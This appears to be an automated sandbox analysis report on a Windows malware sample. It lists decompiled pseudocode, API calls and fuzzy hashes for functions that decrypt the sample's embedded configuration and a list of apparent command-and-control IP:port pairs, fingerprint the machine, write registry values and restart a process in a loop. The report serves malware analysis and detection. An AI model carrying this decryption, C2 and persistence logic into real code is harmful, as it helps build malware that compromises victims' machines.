0x04004556
0x0400455b
0x0400456c
0x0400458b
0x04004591
0x0400459e
0x00000000
0x00000000
0x040045b3
0x040045c0
0x040047d0
0x040047d7
0x040047e0
0x040047e0
0x00000000
0x040047d7
0x040045d6
0x040045dc
0x040045e9
0x00000000
0x00000000
0x040045ef
0x04004617
0x0400461f
0x040047a9
0x040047b0
0x040047c0
0x040047c6
0x040047c6
0x00000000
0x04004637
0x0400463e
0x04004644
0x04004660
0x04004665
0x0400466d
0x0400467f
0x0400468f
0x04004695
0x04004695
0x040046a8
0x040046c2
0x040046c8
0x040046e3
0x0400470f
0x0400473b
0x0400476b
0x0400473d
0x04004750
0x04004750
0x04004777
0x0400478f
0x04004794
0x0400479c
0x040046dd
0x00000000
0x0400479e
0x0400479e
0x00000000
0x0400479e
0x0400479c
0x00000000
0x040046e3
0x0400466f
0x00000000
0x0400466f
0x0400461f

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E

Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
Part of subcall function 040047F0: GetLastError.KERNEL32 ref: 04004834
Part of subcall function 040047F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
Part of subcall function 040047F0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
Part of subcall function 040047F0: CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
Part of subcall function 040047F0: CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
Part of subcall function 040047F0: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
Part of subcall function 040047F0: CryptDestroyKey.ADVAPI32(00000000), ref: 04004982

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0400468F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
CloseHandle.KERNEL32(00000000), ref: 040047E0

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$File$Virtual$AcquireCloseContextCreateFreeHash$AllocChangeDataDecryptDeriveDestroyErrorFindHandleLastModuleNameNotificationReadSize
String ID:
API String ID: 2585753175-0
Opcode ID: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction ID: c94ea80790bf0b6d8dbf2583483555f7aa9864fa89971da120b97b62dce4532c
Opcode Fuzzy Hash: 41b532c3e78661638157de6fb4dddf30e3a22c3d81890ac6d0c72b3463451886
Instruction Fuzzy Hash: 92815D74A056189BEB64CF14DC94BAAB7B4AF49306F0091D9E608BB2C1D774ABC1CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04009D20 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009D20(intOrPtr _a4, CHAR* _a8, int _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v292;
				intOrPtr _v296;
				char _v404;
				long _v408;
				char _v673;
				char _v676;
				intOrPtr _v680;
				long _v684;
				signed int _v688;
				short* _v692;
				signed int _v696;
				unsigned int _v700;
				intOrPtr _v704;
				char _v900;
				signed int _v904;
				signed int _v908;
				int _v912;
				int _t71;
				void* _t74;
				short** _t76;
				void* _t114;

				_v5 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_v12 = 0x20;
					_v24 = 6;
					_v684 = 0;
					_v20 = 0;
					_v408 = 0;
					_v16 = 0x19660d;
					_v296 = 0x3c6ef35f;
					_v680 = _a4;
					if(GetSystemDirectoryA( &_v676, 0x103) != 0) {
						_v673 = 0;
						_t71 = GetVolumeInformationA( &_v676,  &_v292, 0x103,  &_v684,  &_v20,  &_v408,  &_v404, 0x63); // executed
						if(_t71 != 0) {
							_v688 = 0xffffffff;
							E04007D20(_t71,  &_v900, 0, 0xc0);
							_v700 = 0;
							_t74 = E04009F70( &_v900, 0xc0,  &_v700); // executed
							if(_t74 != 0) {
								_v904 = 0;
								while(_v904 < _v700 >> 2) {
									_v688 = _v688 ^  *(_t114 + _v904 * 4 - 0x380);
									_v904 = _v904 + 1;
								}
							}
							_v696 = _v684;
							_v908 = 0;
							while(_v908 < 4) {
								 *(_v680 + _v908 * 4) = 0x3c6ef35f + _v696 * 0x0019660d ^ _v688;
								_v696 = 0x3c6ef35f + _v696 * 0x19660d;
								_v908 = _v908 + 1;
							}
							_t76 =  &_v692;
							__imp__StringFromCLSID(_a4, _t76); // executed
							_v704 = _t76;
							if(_v704 >= 0) {
								_v912 = WideCharToMultiByte(0, 0, _v692, 0xffffffff, _a8, _a12, 0, 0);
								lstrcpynA(_a8,  &(_a8[1]), _v912 - 2);
								_v5 = 1;
							}
							__imp__CoTaskMemFree(_v692);
						}
					}
				}
				return _v5;
			}

0x04009d29
0x04009d31
0x04009d4b
0x04009d52
0x04009d59
0x04009d63
0x04009d6a
0x04009d74
0x04009d7b
0x04009d88
0x04009da2
0x04009da8
0x04009ddd
0x04009de5
0x04009deb
0x04009e03
0x04009e0b
0x04009e28
0x04009e32
0x04009e34
0x04009e4f
0x04009e73
0x04009e49
0x04009e49
0x04009e4f
0x04009e81
0x04009e87
0x04009ea2
0x04009ecf
0x04009ee4
0x04009e9c
0x04009e9c
0x04009eec
0x04009ef7
0x04009efd
0x04009f0a
0x04009f2b
0x04009f46
0x04009f4c
0x04009f4c
0x04009f57
0x04009f57
0x04009de5
0x04009da2
0x04009f63

APIs

GetSystemDirectoryA.KERNEL32 ref: 04009D9A
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD

Part of subcall function 04009F70: GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

StringFromCLSID.OLE32(00000020,?), ref: 04009EF7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 04009F25
lstrcpynA.KERNEL32(0019660D,0019660C,?), ref: 04009F46
CoTaskMemFree.OLE32(?), ref: 04009F57

Strings

, xrefs: 04009D4B

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: AdaptersByteCharDirectoryFreeFromInfoInformationMultiStringSystemTaskVolumeWidelstrcpyn
String ID:
API String ID: 2697952880-3916222277
Opcode ID: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction ID: 5e89223982a4db5088977870fe710af53f8bde251be69ccbe6f0708d183867dd
Opcode Fuzzy Hash: 019f01e5d103752babcd14cd7d8c94bd9c738822c2c1009ff713c67dab5555ec
Instruction Fuzzy Hash: 695139B0A043189FEB25CF50CC88BEAB7B9BB44304F14C2D9E5096A281DB74AB84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04001390 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001390(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				long _v32;
				signed int _t52;
				signed int _t57;
				intOrPtr _t64;
				void* _t76;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;

				_t52 = __eax;
				if(_a4 == 0 || _a8 == 0 || _a4 == 0 || _a16 == 0) {
					return _t52 | 0xffffffff;
				} else {
					_v24 = 0;
					_t57 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 5); // executed
					_v28 = _t57;
					if(_v28 != 0) {
						E04007B70(_v28, _a4, _a8);
						E04007B70(_v28 + _a8, "====", 4);
						_t106 = _t104 + 0x18;
						_v8 = _v28;
						_v20 = 3;
						while(_v20 == 3) {
							_v32 = 0;
							while(_v32 < 4) {
								while( *_v8 != 0x3d) {
									_t76 = E04001500( *_v8 & 0x000000ff);
									_t106 = _t106 + 4;
									if(_t76 >= 0) {
										break;
									}
									_v8 =  &(_v8[1]);
								}
								 *((char*)(_t103 + _v32 - 0xc)) =  *_v8;
								_v8 =  &(_v8[1]);
								_v32 = _v32 + 1;
							}
							_t64 = E04001580( &_v16,  &_v12);
							_t107 = _t106 + 8;
							_v20 = _t64;
							if(_a16 >= _v20) {
								E04007B70(_a12,  &_v12, _v20);
								_t106 = _t107 + 0xc;
								_a12 = _a12 + _v20;
								_a16 = _a16 - _v20;
								_v24 = _v24 + _v20;
								continue;
							}
							return HeapFree(GetProcessHeap(), 0, _v28) | 0xffffffff;
						}
						RtlFreeHeap(GetProcessHeap(), 0, _v28); // executed
						return _v24;
					}
					return _t57 | 0xffffffff;
				}
			}

0x04001390
0x0400139a
0x00000000
0x040013b6
0x040013b6
0x040013cd
0x040013d3
0x040013da
0x040013f0
0x04001406
0x0400140b
0x04001411
0x04001414
0x0400141b
0x04001425
0x04001437
0x0400143d
0x0400144f
0x04001454
0x04001459
0x00000000
0x00000000
0x04001461
0x04001461
0x0400146e
0x04001478
0x04001434
0x04001434
0x04001485
0x0400148a
0x0400148d
0x04001496
0x040014bc
0x040014c1
0x040014ca
0x040014d3
0x040014dc
0x00000000
0x040014dc
0x00000000
0x040014ab
0x040014f1
0x00000000
0x040014f7
0x00000000
0x040013dc

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 040013C6
RtlAllocateHeap.NTDLL(00000000), ref: 040013CD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0400149E
HeapFree.KERNEL32(00000000), ref: 040014A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 040014EA
RtlFreeHeap.NTDLL(00000000), ref: 040014F1

Strings

====, xrefs: 040013FA

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Heap$Process$Free$Allocate
String ID: ====
API String ID: 168621272-1026985228
Opcode ID: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction ID: c6e28297ba35799b7f22f7dab3aca0fae7ec72587fc4187f79a8e8c8e7655232
Opcode Fuzzy Hash: cc6d638cfefe3820553d32bbcecc0cddb825681ad85667f70979d716b4f01239
Instruction Fuzzy Hash: F7414CB5D04209EBEB04DFA4C884BEE7BB5FF44309F108619E515BB2D0D735AA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04007970 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E04007970(intOrPtr* _a4) {
				long _v8;
				void* _v12;
				int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _t50;
				intOrPtr _t52;
				void* _t58;
				intOrPtr _t64;
				intOrPtr _t72;
				intOrPtr _t83;
				void* _t96;
				void* _t97;
				void* _t98;

				_v8 = 0;
				if(_a4 != 0) {
					_v16 = 0x8c;
					_v20 = 0x75bc;
					_t50 = VirtualAlloc(0, 0x75bc, 0x3000, 4); // executed
					_v12 = _t50;
					if(_v12 != 0) {
						_t72 =  *0x400e28c; // 0x4013f88
						_t83 =  *0x40118a0; // 0x4013b88
						_t52 = E0400A400(_t83, _t72, _v12, 0x75bc); // executed
						_t97 = _t96 + 0x10;
						_v24 = _t52;
						if(_v24 >= 0x92) {
							_v28 = _v24 - 0x8c;
							_t58 = E04008A70(_v12 + 0x8c,  &_v28, _v12, 0x8c, 0x40130e8, 0x254);
							_t98 = _t97 + 0x18;
							if(_t58 != 0) {
								_v32 = _v12 + 0x8c;
								_v36 = _v28 / 6;
								_v40 = VirtualAlloc(0, _v36 * 0x28, 0x3000, 4);
								if(_v40 != 0) {
									_v48 = 0;
									while(_v48 < _v36) {
										_t64 = E04007B70( &_v44, _v48 * 6 + _v32, 4);
										_push(_v44);
										L0400B1EC();
										_v52 = _t64;
										wnsprintfA(_v48 * 0x28 + _v40, 0x28, "%s:%u", _v52,  *(_v32 + 4 + _v48 * 6) & 0x0000ffff);
										_t98 = _t98 + 0x20;
										_v8 = _v8 + 1;
										_v48 = _v48 + 1;
									}
									 *_a4 = _v40;
								}
							}
						}
						VirtualFree(_v12, 0, 0x8000); // executed
					}
				}
				return _v8;
			}

0x04007976
0x04007981
0x04007987
0x0400798e
0x040079a3
0x040079a9
0x040079b0
0x040079bf
0x040079c6
0x040079cd
0x040079d2
0x040079d5
0x040079df
0x040079ed
0x04007a10
0x04007a15
0x04007a1a
0x04007a29
0x04007a38
0x04007a51
0x04007a58
0x04007a5a
0x04007a6c
0x04007a84
0x04007a8f
0x04007a90
0x04007a95
0x04007abc
0x04007ac2
0x04007acb
0x04007a69
0x04007a69
0x04007ad6
0x04007ad6
0x04007a58
0x04007a1a
0x04007ae3
0x04007ae3
0x040079b0
0x04007aef

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 040079A3

Part of subcall function 0400A400: RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
Part of subcall function 0400A400: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
Part of subcall function 0400A400: RegCloseKey.KERNEL32(00000000), ref: 0400A494

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04007AE3

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 04007A4B
inet_ntoa.WS2_32(?), ref: 04007A90
wnsprintfA.SHLWAPI ref: 04007ABC

Strings

%s:%u, xrefs: 04007AAB
Vatwyovatk, xrefs: 040079C5

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$CloseDecryptErrorFreeLastOpenQueryReleaseValueinet_ntoawnsprintf
String ID: %s:%u$Vatwyovatk
API String ID: 1891311255-2484782420
Opcode ID: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction ID: d327848a4ae889dd371e71d646ee9b038911c4fd72f1be7e57aa30bfb263aa34
Opcode Fuzzy Hash: 79f967d1a52c2aaee155b9d7bfa010675069804c64fe547678c39a65b43ec606
Instruction Fuzzy Hash: 8C410FB5E04208EBFB04DF94C945BEEBBB5EB88705F14C159E6057B2C0D779AA40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04005E30 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E30(signed char _a4) {
				char* _v8;
				char _v9;
				void* _v16;
				void* _v20;
				char* _v24;
				int _v28;
				signed int _v29;
				int _v36;
				char _v68;
				int _v72;
				char* _t31;
				long _t33;
				long _t37;
				char* _t45;

				_v9 = 0;
				_t31 =  *0x40118a0; // 0x4013b88
				_v8 = _t31;
				_t45 =  *0x4011894; // 0x4013fc4
				_v24 = _t45;
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v36 = 0x20;
					_v28 = 0x20;
					_v29 = 0;
					_t37 = RegQueryValueExA(_v20, _v24, 0, 0,  &_v68,  &_v28); // executed
					if(_t37 == 0 && _v28 == 0x10) {
						_v29 = 1;
						if((_a4 & 0x000000ff) != 0) {
							RegDeleteValueA(_v20, _v24);
						}
					}
					_t48 = _v29 & 0x000000ff;
					if((_v29 & 0x000000ff) == 0) {
						_v72 = 0x10;
						E04009BD0(_t48,  &_v68, 0x10);
						RegSetValueExA(_v20, _v24, 0, 3,  &_v68, 0x10); // executed
						_v9 = 1;
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

0x04005e36
0x04005e3a
0x04005e3f
0x04005e42
0x04005e48
0x04005e4b
0x04005e5b
0x04005e5d
0x04005e5d
0x04005e64
0x04005e7e
0x04005e86
0x04005e8c
0x04005e93
0x04005e9a
0x04005eb2
0x04005eba
0x04005ec2
0x04005ecc
0x04005ed6
0x04005ed6
0x04005ecc
0x04005edc
0x04005ee2
0x04005ee4
0x04005ef1
0x04005f0b
0x04005f11
0x04005f11
0x04005f19
0x04005f19
0x04005f25

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
RegCloseKey.KERNEL32(00000000), ref: 04005F19

Strings

, xrefs: 04005E8C
, xrefs: 04005E93

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $
API String ID: 647993726-227171996
Opcode ID: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction ID: 89e6ea7d5f7cd1f3b8914b5f239817843937aaeba4a6099ce7b548add1ef5737
Opcode Fuzzy Hash: 42940f5d5e5c91af521085ddcd9b03f77c986a907cdf4f49274909f40d6ddbf2
Instruction Fuzzy Hash: 3A317370A04249AFEF04CFD4D855BFFBBB9AB44704F14815CEA40B7281D7B96A00CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04004AC0 Relevance: 12.1, APIs: 8, Instructions: 68
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E04004AC0(intOrPtr _a4) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _t31;
				void* _t50;

				_v8 = _a4;
				if(_v8 != 0) {
					__imp__CoInitialize(0);
					L2:
					while(1) {
						if( *((intOrPtr*)(_v8 + 8)) <= 0 || WaitForSingleObject( *(_v8 + 0x24), 0x64) != 0x102) {
							L6:
							Sleep(0x1388); // executed
							continue;
						}
						EnterCriticalSection(_v8 + 0xc);
						_v20 = 0;
						_v12 = 0;
						_t31 = E04008250( *((intOrPtr*)(_v8 + 4)),  *((intOrPtr*)(_v8 + 8)),  &_v20,  &_v12); // executed
						_t50 = _t50 + 0x10;
						_v16 = _t31;
						LeaveCriticalSection(_v8 + 0xc);
						if(_v16 <= 0) {
							goto L6;
						}
						E040062B0(_v20, _v16); // executed
						VirtualFree(_v20, 0, 0x8000); // executed
						SetEvent( *(_v8 + 0x24));
						__imp__CoUninitialize();
						goto L8;
					}
				}
				L8:
				return 0;
			}

0x04004ac9
0x04004ad0
0x04004ad8
0x00000000
0x04004ade
0x04004ae5
0x04004b80
0x04004b85
0x00000000
0x04004b85
0x04004b08
0x04004b0e
0x04004b15
0x04004b32
0x04004b37
0x04004b3a
0x04004b44
0x04004b4e
0x00000000
0x00000000
0x04004b58
0x04004b6b
0x04004b78
0x04004b90
0x00000000
0x04004b90
0x04004ade
0x04004b96
0x04004b9b

APIs

CoInitialize.OLE32(00000000), ref: 04004AD8
WaitForSingleObject.KERNEL32(?,00000064), ref: 04004AF4
EnterCriticalSection.KERNEL32(-0000000C), ref: 04004B08
LeaveCriticalSection.KERNEL32(-0000000C), ref: 04004B44
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04004B6B
SetEvent.KERNEL32(?), ref: 04004B78
Sleep.KERNEL32(00001388), ref: 04004B85
CoUninitialize.OLE32 ref: 04004B90

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$EnterEventFreeInitializeLeaveObjectSingleSleepUninitializeVirtualWait
String ID:
API String ID: 3462651527-0
Opcode ID: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction ID: a8de0d0852ad7639ac4a8efdad63c4b5a832734fa442b81c8ae14f5e2abf7ac4
Opcode Fuzzy Hash: 34458be81e427262741f71e07dfc47b0f17ea7c68782a946b32513cabd3e92be
Instruction Fuzzy Hash: 1C213075A00208EFE704EF94D958FAEB7B9EB48305F10C658E605B7281D739EE84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 040077B0 Relevance: 10.6, APIs: 7, Instructions: 80
sleepCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E040077B0(void** _a4) {
				void** _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				void** _v28;
				int _t37;
				void* _t40;
				void* _t60;

				if(_a4 != 0) {
					__imp__CoInitialize(0);
					_v12 = 0x96;
					_v16 = 0x1388;
					_v8 = _a4;
					if( *_v8 != 0) {
						_v20 = 0;
						while(_v20 < 0x96) {
							_v24 = 0;
							_t37 = GetExitCodeProcess(_v8[3],  &_v24); // executed
							if(_t37 == 0) {
							} else {
								if(_v24 != 0x103) {
									CloseHandle(_v8[3]);
									Sleep(0x7530);
									_t40 = E04002070( *_v8);
									_t60 = _t60 + 4;
									_v8[3] = _t40;
									if(_v8[3] != 0) {
										_v20 = _v20 + 1;
										if((_v8[2] & 0x00000004) != 0) {
											E04002510(_v8[3], 0x400e290);
											_t60 = _t60 + 8;
										}
										goto L11;
									} else {
									}
								} else {
									Sleep(0x1388); // executed
									L11:
									continue;
								}
							}
							break;
						}
						VirtualFree( *_v8, 0, 0x8000);
						_v28 = _v8;
						E040097C0(_v28);
					}
					__imp__CoUninitialize();
				}
				return 0;
			}

0x040077ba
0x040077c2
0x040077c8
0x040077cf
0x040077d9
0x040077e2
0x040077e8
0x040077ef
0x040077fc
0x0400780e
0x04007816
0x04007818
0x0400781f
0x04007835
0x04007840
0x0400784c
0x04007851
0x04007857
0x04007861
0x0400786d
0x04007879
0x04007887
0x0400788c
0x0400788c
0x00000000
0x00000000
0x04007863
0x04007821
0x04007826
0x0400788f
0x00000000
0x04007893
0x0400781f
0x00000000
0x04007816
0x040078a5
0x040078ae
0x040078b5
0x040078ba
0x040078bd
0x040078bd
0x040078c8

APIs

CoInitialize.OLE32(00000000), ref: 040077C2
GetExitCodeProcess.KERNEL32 ref: 0400780E
Sleep.KERNEL32(00001388), ref: 04007826
CloseHandle.KERNEL32(00001388), ref: 04007835
Sleep.KERNEL32(00007530), ref: 04007840
VirtualFree.KERNEL32(00000096,00000000,00008000), ref: 040078A5
CoUninitialize.OLE32 ref: 040078BD

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Sleep$CloseCodeExitFreeHandleInitializeProcessUninitializeVirtual
String ID:
API String ID: 2326833528-0
Opcode ID: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction ID: 786529089a386be0191f5a1a0158813805cafbe076d78358bbe760b2cac44d20
Opcode Fuzzy Hash: 40971a79621a4715f304bef9d1a112be756b69aca4ab6b623c127bbca2746a66
Instruction Fuzzy Hash: 62318E74A00209EBFB54CF90C848BAEB7B1FB44305F14C668E905B7280D779BE40CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04005CD0 Relevance: 10.6, APIs: 7, Instructions: 72
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005CD0(CHAR* _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _v20;
				long _v24;
				void* _t29;
				void* _t34;

				_v8 = 0;
				if(_a4 != 0 && lstrlenA(_a4) >= 4) {
					_t29 = CreateFileA(_a4, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v12 = _t29;
					if(_v12 != 0xffffffff) {
						_v16 = GetFileSize(_v12, 0);
						if(_v16 > 0) {
							_t34 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
							_v20 = _t34;
							if(_v20 != 0) {
								_v24 = 0;
								ReadFile(_v12, _v20, _v16,  &_v24, 0); // executed
								if(_v24 == _v16) {
									_v8 = E040016F0(_v20, _v16);
								}
								VirtualFree(_v20, 0, 0x8000); // executed
							}
						}
						FindCloseChangeNotification(_v12); // executed
					}
				}
				return _v8;
			}

0x04005cd6
0x04005ce1
0x04005d10
0x04005d16
0x04005d1d
0x04005d2f
0x04005d36
0x04005d45
0x04005d4b
0x04005d52
0x04005d54
0x04005d6d
0x04005d79
0x04005d8b
0x04005d8b
0x04005d99
0x04005d99
0x04005d52
0x04005da3
0x04005da3
0x04005d1d
0x04005daf

APIs

lstrlenA.KERNEL32(00000000), ref: 04005CEB
CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

Memory Dump Source

